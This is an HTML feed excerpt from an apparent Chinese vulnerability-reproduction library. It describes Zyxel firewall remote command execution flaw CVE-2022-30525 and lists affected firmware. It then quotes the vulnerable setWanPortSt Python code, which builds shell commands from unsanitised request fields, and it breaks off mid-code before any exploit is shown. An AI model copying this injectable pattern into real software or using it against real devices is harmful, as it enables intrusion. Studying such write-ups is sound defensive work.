src="https://wechat2rss.xlab.app/img-proxy/?k=8a077860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTcMBicTAqaLJky9ScIO4Rq2AI7GbNL471D07npjsanAH2s4iaZGM5L1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="关" data-textnode-index-1653889638433="500" data-index-1653889638433="4680" class="character">关</span><span data-raw-text="于" data-textnode-index-1653889638433="500" data-index-1653889638433="4681" class="character">于</span><span data-raw-text="文" data-textnode-index-1653889638433="500" data-index-1653889638433="4682" class="character">文</span><span data-raw-text="库" data-textnode-index-1653889638433="500" data-index-1653889638433="4683" class="character">库</span></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 900.594px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;"><span data-raw-text="在" data-textnode-index-1653889638433="501" data-index-1653889638433="4684" class="character">在</span><span data-raw-text="线" data-textnode-index-1653889638433="501" data-index-1653889638433="4685" class="character">线</span><span data-raw-text="文" data-textnode-index-1653889638433="501" data-index-1653889638433="4686" class="character">文</span><span data-raw-text="库" data-textnode-index-1653889638433="501" data-index-1653889638433="4687" class="character">库</span><span data-raw-text=":" data-textnode-index-1653889638433="501" data-index-1653889638433="4688" class="character">:</span><span data-raw-text=" " data-textnode-index-1653889638433="501" data-index-1653889638433="4689" class="character"> </span><span data-raw-text="h" data-textnode-index-1653889638433="501" data-index-1653889638433="4690" class="character">h</span><span data-raw-text="t" data-textnode-index-1653889638433="501" data-index-1653889638433="4691" class="character">t</span><span data-raw-text="t" data-textnode-index-1653889638433="501" data-index-1653889638433="4692" class="character">t</span><span data-raw-text="p" data-textnode-index-1653889638433="501" data-index-1653889638433="4693" class="character">p</span><span data-raw-text=":" data-textnode-index-1653889638433="501" data-index-1653889638433="4694" class="character">:</span><span data-raw-text="/" data-textnode-index-1653889638433="501" data-index-1653889638433="4695" class="character">/</span><span data-raw-text="/" data-textnode-index-1653889638433="501" data-index-1653889638433="4696" class="character">/</span><span data-raw-text="w" data-textnode-index-1653889638433="501" data-index-1653889638433="4697" class="character">w</span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4698" class="character">i</span><span data-raw-text="k" data-textnode-index-1653889638433="501" data-index-1653889638433="4699" class="character">k</span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4700" class="character">i</span><span data-raw-text="." data-textnode-index-1653889638433="501" data-index-1653889638433="4701" class="character">.</span><span data-raw-text="p" data-textnode-index-1653889638433="501" data-index-1653889638433="4702" class="character">p</span><span data-raw-text="e" data-textnode-index-1653889638433="501" data-index-1653889638433="4703" class="character">e</span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4704" class="character">i</span><span data-raw-text="q" data-textnode-index-1653889638433="501" data-index-1653889638433="4705" class="character">q</span><span data-raw-text="i" data-textnode-index-1653889638433="501" data-index-1653889638433="4706" class="character">i</span><span data-raw-text="." data-textnode-index-1653889638433="501" data-index-1653889638433="4707" class="character">.</span><span data-raw-text="t" data-textnode-index-1653889638433="501" data-index-1653889638433="4708" class="character">t</span><span data-raw-text="e" data-textnode-index-1653889638433="501" data-index-1653889638433="4709" class="character">e</span><span data-raw-text="c" data-textnode-index-1653889638433="501" data-index-1653889638433="4710" class="character">c</span><span data-raw-text="h" data-textnode-index-1653889638433="501" data-index-1653889638433="4711" class="character">h</span><br/><span data-raw-text="G" data-textnode-index-1653889638433="502" data-index-1653889638433="4712" class="character">G</span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4713" class="character">i</span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4714" class="character">t</span><span data-raw-text="h" data-textnode-index-1653889638433="502" data-index-1653889638433="4715" class="character">h</span><span data-raw-text="u" data-textnode-index-1653889638433="502" data-index-1653889638433="4716" class="character">u</span><span data-raw-text="b" data-textnode-index-1653889638433="502" data-index-1653889638433="4717" class="character">b</span><span data-raw-text=":" data-textnode-index-1653889638433="502" data-index-1653889638433="4718" class="character">:</span><span data-raw-text=" " data-textnode-index-1653889638433="502" data-index-1653889638433="4719" class="character"> </span><span data-raw-text="h" data-textnode-index-1653889638433="502" data-index-1653889638433="4720" class="character">h</span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4721" class="character">t</span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4722" class="character">t</span><span data-raw-text="p" data-textnode-index-1653889638433="502" data-index-1653889638433="4723" class="character">p</span><span data-raw-text="s" data-textnode-index-1653889638433="502" data-index-1653889638433="4724" class="character">s</span><span data-raw-text=":" data-textnode-index-1653889638433="502" data-index-1653889638433="4725" class="character">:</span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4726" class="character">/</span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4727" class="character">/</span><span data-raw-text="g" data-textnode-index-1653889638433="502" data-index-1653889638433="4728" class="character">g</span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4729" class="character">i</span><span data-raw-text="t" data-textnode-index-1653889638433="502" data-index-1653889638433="4730" class="character">t</span><span data-raw-text="h" data-textnode-index-1653889638433="502" data-index-1653889638433="4731" class="character">h</span><span data-raw-text="u" data-textnode-index-1653889638433="502" data-index-1653889638433="4732" class="character">u</span><span data-raw-text="b" data-textnode-index-1653889638433="502" data-index-1653889638433="4733" class="character">b</span><span data-raw-text="." data-textnode-index-1653889638433="502" data-index-1653889638433="4734" class="character">.</span><span data-raw-text="c" data-textnode-index-1653889638433="502" data-index-1653889638433="4735" class="character">c</span><span data-raw-text="o" data-textnode-index-1653889638433="502" data-index-1653889638433="4736" class="character">o</span><span data-raw-text="m" data-textnode-index-1653889638433="502" data-index-1653889638433="4737" class="character">m</span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4738" class="character">/</span><span data-raw-text="P" data-textnode-index-1653889638433="502" data-index-1653889638433="4739" class="character">P</span><span data-raw-text="e" data-textnode-index-1653889638433="502" data-index-1653889638433="4740" class="character">e</span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4741" class="character">i</span><span data-raw-text="Q" data-textnode-index-1653889638433="502" data-index-1653889638433="4742" class="character">Q</span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4743" class="character">i</span><span data-raw-text="0" data-textnode-index-1653889638433="502" data-index-1653889638433="4744" class="character">0</span><span data-raw-text="/" data-textnode-index-1653889638433="502" data-index-1653889638433="4745" class="character">/</span><span data-raw-text="P" data-textnode-index-1653889638433="502" data-index-1653889638433="4746" class="character">P</span><span data-raw-text="e" data-textnode-index-1653889638433="502" data-index-1653889638433="4747" class="character">e</span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4748" class="character">i</span><span data-raw-text="Q" data-textnode-index-1653889638433="502" data-index-1653889638433="4749" class="character">Q</span><span data-raw-text="i" data-textnode-index-1653889638433="502" data-index-1653889638433="4750" class="character">i</span><span data-raw-text="-" data-textnode-index-1653889638433="502" data-index-1653889638433="4751" class="character">-</span><span data-raw-text="W" data-textnode-index-1653889638433="502" data-index-1653889638433="4752" class="character">W</span><span data-raw-text="I" data-textnode-index-1653889638433="502" data-index-1653889638433="4753" class="character">I</span><span data-raw-text="K" data-textnode-index-1653889638433="502" data-index-1653889638433="4754" class="character">K</span><span data-raw-text="I" data-textnode-index-1653889638433="502" data-index-1653889638433="4755" class="character">I</span><span data-raw-text="-" data-textnode-index-1653889638433="502" data-index-1653889638433="4756" class="character">-</span><span data-raw-text="B" data-textnode-index-1653889638433="502" data-index-1653889638433="4757" class="character">B</span><span data-raw-text="o" data-textnode-index-1653889638433="502" data-index-1653889638433="4758" class="character">o</span><span data-raw-text="o" data-textnode-index-1653889638433="502" data-index-1653889638433="4759" class="character">o</span><span data-raw-text="k" data-textnode-index-1653889638433="502" data-index-1653889638433="4760" class="character">k</span><span data-raw-text=" " data-textnode-index-1653889638433="502" data-index-1653889638433="4761" class="character"> </span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5443322109988776" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 900.594px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3564" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9734f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTz2mGLTWwwLW7B9Mib5XibKCWricFR6KaodRqLHwia5uPJgyxoQt4zT6e0g%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="者" data-textnode-index-1653889638433="499" data-index-1653889638433="4679" class="character"></span></span><br/></h2><p><br/></p><p><br/></p><p><br/></p><p><br/></p>



<p><a href="2247492995">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e6512306&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247492995%26idx%3D1%26sn%3D6734e2ee0a7ce01dd2bb7ee1be843399%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 30 May 2022 13:53:00 +0800</pubDate>
    </item>
    <item>
      <title>Zyxel USG FLEX handler 远程命令执行漏洞 CVE-2022-30525</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247492860&amp;idx=1&amp;sn=e4610dc077d940576e768cfedfc22258</link>
      <description>Zyxel USG FLEX handler 远程命令执行漏洞 CVE-2022-30525</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2022-05-13 20:53</span> <span style="display: inline-block;">湖北</span>
</p>

<p>Zyxel USG FLEX handler 远程命令执行漏洞 CVE-2022-30525</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6af73eed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTATdm08ic8Z5MibwLpv0rbPibqg25004gYghRIFoKtG4l5FfzBNMJ1wrhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="475" data-backw="474" data-ratio="1" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4abfa1d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTzZgiav6umOmHgsWv4Hvh3zhgl0qJvSQKfNNic9ZKCRO7SX82jQiaNSHcw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=e1f47ecb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTQWO33O5iaK0xEwKqKryoZlC9yoDQIKgrmFGSWNL9EQWibxFkEvmZXsSg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞描述</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">Rapid7 发现并报告了一个漏洞，该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙，其中包括 ATP 系列、VPN 系列和 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞标识为 CVE-2022-30525，允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞影响</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">USG FLEX 100、100W、200、500、700  &lt; ZLD5.00 - ZLD5.21 补丁 1</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">USG20-VPN、USG20W-VPN	 &lt; ZLD5.10 - ZLD5.21 补丁 1</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">ATP 100、200、500、700、800  &lt; ZLD5.10 - ZLD5.21 补丁 1</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">漏洞复现</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">登录页面</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="233" data-backw="457" data-ratio="0.5088888888888888" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=417b01e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4Dz4cabia4ln96vMy2Eia6YPYaceib1Oia6pdzqX6hoertJuoyMDe9jkLh4zicXrcQJGUrAD3VHR8x50w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">出现漏洞的文件为 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lib_wan_settings.py</code> 下的 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">setWanPortSt</code> 方法</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooxMRWiabg735xicOpyGroFMNFb3DB8zyT1r87H7lHDsPI4nrotvSz1iaHOkVY1KYl1WEZKfNeenBJmo/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">setWanPortSt</span><span style="line-height: 26px;">(req)</span>:</span><br/>    reply = {}<br/>    vlan_tagged = <span style="color: #50a14f;line-height: 26px;">&#39;&#39;</span><br/>    logging.info(req)<br/>    port = req[<span style="color: #50a14f;line-height: 26px;">&#34;port&#34;</span>].strip()<br/>    vlanid = req[<span style="color: #50a14f;line-height: 26px;">&#34;vlanid&#34;</span>]<br/>    proto = req[<span style="color: #50a14f;line-height: 26px;">&#34;proto&#34;</span>]<br/>    data = req[<span style="color: #50a14f;line-height: 26px;">&#34;data&#34;</span>]<br/>    vlan_tagged = req[<span style="color: #50a14f;line-height: 26px;">&#34;vlan_tagged&#34;</span>]<br/>    <br/>    cmdLine = <span style="color: #50a14f;line-height: 26px;">&#39;&#39;</span><br/>    GUIportst = {}<br/>    <br/>    extname = findextname(port)<br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#<span style="color: #a626a4;line-height: 26px;">TODO:</span> subprocess method</span><br/>    <span style="color: #a626a4;line-height: 26px;">try</span>:<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> vlan_tagged == <span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>:<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> vlanid == <span style="color: #50a14f;line-height: 26px;">&#39;&#39;</span>:<br/>                vlanid == <span style="color: #50a14f;line-height: 26px;">&#39;0&#39;</span><br/>        <span style="color: #a626a4;line-height: 26px;">if</span> proto == <span style="color: #50a14f;line-height: 26px;">&#34;dhcp&#34;</span>:<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span> <span style="color: #a626a4;line-height: 26px;">not</span> <span style="color: #a626a4;line-height: 26px;">in</span> req:<br/>                req[<span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span>] = <span style="color: #50a14f;line-height: 26px;">&#39;1500&#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">if</span> vlan_tagged == <span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>:<br/>                cmdLine = <span style="color: #50a14f;line-height: 26px;">&#39;/usr/sbin/sdwan_iface_ipc 11 &#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>                cmdLine = <span style="color: #50a14f;line-height: 26px;">&#39;/usr/sbin/sdwan_iface_ipc 1 &#39;</span><br/>            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#extname = findextname(port)</span><br/>            cmdLine += extname + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + port.lower() + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + req[<span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span>]<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> vlan_tagged == <span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>:<br/>                cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + vlanid<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#34;option60&#34;</span> <span style="color: #a626a4;line-height: 26px;">in</span> data:<br/>                cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;option60&#39;</span>]<br/>            cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &gt;/dev/null 2&gt;&amp;1&#39;</span><br/>        <span style="color: #a626a4;line-height: 26px;">elif</span> proto == <span style="color: #50a14f;line-height: 26px;">&#34;static&#34;</span>:<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span> <span style="color: #a626a4;line-height: 26px;">not</span> <span style="color: #a626a4;line-height: 26px;">in</span> req:<br/>                req[<span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span>] = <span style="color: #50a14f;line-height: 26px;">&#39;1500&#39;</span><br/>            prefix_length = netmask_to_cidr(data[<span style="color: #50a14f;line-height: 26px;">&#39;netmask&#39;</span>])<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> vlan_tagged == <span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>:<br/>                cmdLine = <span style="color: #50a14f;line-height: 26px;">&#39;/usr/sbin/sdwan_iface_ipc 12 &#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>                cmdLine = <span style="color: #50a14f;line-height: 26px;">&#39;/usr/sbin/sdwan_iface_ipc 2 &#39;</span><br/>            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#extname = findextname(port)</span><br/>            cmdLine += extname + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + port.lower() + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;ipaddr&#39;</span>] + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + str(prefix_length) + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;gateway&#39;</span>] + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + req[<span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span>]<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> vlan_tagged == <span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>:<br/>                cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + vlanid<br/>            cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;firstDnsServer&#39;</span>]<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;secondDnsServer&#39;</span> <span style="color: #a626a4;line-height: 26px;">in</span> data:<br/>                cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;secondDnsServer&#39;</span>]<br/>            cmdLine += <span style="color: #50a14f;line-height: 26px;">&#39; &gt;/dev/null 2&gt;&amp;1&#39;</span><br/>        <span style="color: #a626a4;line-height: 26px;">elif</span> proto == <span style="color: #50a14f;line-height: 26px;">&#34;pppoe&#34;</span>:<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> vlan_tagged == <span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>:<br/>                cmdLine = <span style="color: #50a14f;line-height: 26px;">&#39;/usr/sbin/sdwan_iface_ipc 13 &#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>                cmdLine = <span style="color: #50a14f;line-height: 26px;">&#39;/usr/sbin/sdwan_iface_ipc 3 &#39;</span><br/>            <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#extname = findextname(port)</span><br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;auth_type&#39;</span> <span style="color: #a626a4;line-height: 26px;">not</span> <span style="color: #a626a4;line-height: 26px;">in</span> data:<br/>                data[<span style="color: #50a14f;line-height: 26px;">&#39;auth_type&#39;</span>] = <span style="color: #50a14f;line-height: 26px;">&#39;chap-pap&#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span> <span style="color: #a626a4;line-height: 26px;">not</span> <span style="color: #a626a4;line-height: 26px;">in</span> req:<br/>                req[<span style="color: #50a14f;line-height: 26px;">&#39;mtu&#39;</span>] = <span style="color: #50a14f;line-height: 26px;">&#39;1492&#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;ipaddr&#39;</span> <span style="color: #a626a4;line-height: 26px;">not</span> <span style="color: #a626a4;line-height: 26px;">in</span> data:<br/>                data[<span style="color: #50a14f;line-height: 26px;">&#39;ipaddr&#39;</span>] = <span style="color: #50a14f;line-height: 26px;">&#39;0.0.0.0&#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;gateway&#39;</span> <span style="color: #a626a4;line-height: 26px;">not</span> <span style="color: #a626a4;line-height: 26px;">in</span> data:<br/>                data[<span style="color: #50a14f;line-height: 26px;">&#39;gateway&#39;</span>] = <span style="color: #50a14f;line-height: 26px;">&#39;0.0.0.0&#39;</span><br/>            <span style="color: #a626a4;line-height: 26px;">if</span> <span style="color: #50a14f;line-height: 26px;">&#39;firstDnsServer&#39;</span> <span style="color: #a626a4;line-height: 26px;">not</span> <span style="color: #a626a4;line-height: 26px;">in</span> data:<br/>                data[<span style="color: #50a14f;line-height: 26px;">&#39;firstDnsServer&#39;</span>] = <span style="color: #50a14f;line-height: 26px;">&#39;0.0.0.0&#39;</span><br/>            cmdLine += extname + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + port.lower() + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;username&#39;</span>] + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;password&#39;</span>] \<br/>                + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;auth_type&#39;</span>] \<br/>                + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;ipaddr&#39;</span>] + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 26px;">&#39;gateway&#39;</span>] \<br/>                + <span style="color: #50a14f;line-height: 26px;">&#39; &#39;</span> + data[<span style="color: #50a14f;line-height: 